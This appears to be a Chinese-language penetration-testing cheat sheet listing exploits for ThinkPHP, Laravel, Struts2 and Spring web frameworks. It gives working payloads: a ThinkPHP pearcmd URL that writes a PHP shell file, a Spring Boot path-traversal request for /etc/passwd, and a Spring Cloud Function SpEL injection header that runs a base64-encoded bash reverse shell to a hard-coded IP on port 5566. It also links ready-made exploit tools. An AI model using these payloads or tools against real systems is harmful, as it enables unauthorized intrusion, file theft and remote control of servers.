PHP--ThinkPHP
版本6.X 文件包含
在其6.0.13版本及以前
写入 shell.php 文件,文件内容是 phpinfo
/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php
版本5.X 命令执行
工具梭哈
Laravel
一套简洁、优雅的PHP Web开发框架(PHP Web Framework)
CVE-2021-3129 RCE
工具梭哈:
https://github.com/zhzyker/CVE-2021-3129(python3 exp.py http://ip:port)
goby
Java--Struts 2
Apache Struts2是一个流行的开发Web应用框架,用于开发JavaEE应用
后缀 .action 大概率是 struts 2 框架
工具梭哈
Spring
Spring 经常出现的不存在页面:
Spring-Core-RCE(CVE-2022-22965)
spring 的核心,Spring 框架及其衍生框架都存在这个漏洞
https://github.com/wjl110/CVE-2022-22965_Spring_Core_RCE(VPS)
Spring Boot 目录遍历(CVE-2021-21234)
/manage/log/view?filename=etc/passwd&base=../../../../../../
Spring Cloud Function Spel 表达式注入(CVE-2022-22 963)
Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。
漏洞描述
Spring Cloud Function 是基于Spring Boot 的函数计算框架,通过对传输细节和基础架构进行抽象,为开发人员保留熟悉的开发工具和开发流程,使开发人员专注在实现业务逻辑上,从而提升开发效率。
访问Spring Cloud Function的 HTTP请求头中存在 spring.cloud.function.routing-expression参数,其 SpEL表达式可进行注入攻击,并通过 StandardEvaluationContext解析执行。最终,攻击者可通过该漏洞进行远程命令执行。
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
参考:https://developer.aliyun.com/article/1160011
反弹shell 数据包
POST:/functionRouter
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")
bash -i >& /dev/tcp/62.234.24.115/5566 0>&1(base64编码后替换)
Spring Cloud Gateway命令执行 (CVE-2022-22947)
参考:https://cloud.tencent.com/developer/article/2164533
Spring Cloud Gateway是Spring中的一个API网关。
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他旧的、不受支持的Spring Cloud Gateway 版本
工具梭哈
综合CVE利用工具
https://github.com/0x727/SpringBootExploit
https://github.com/13exp/SpringBoot-Scan-GUI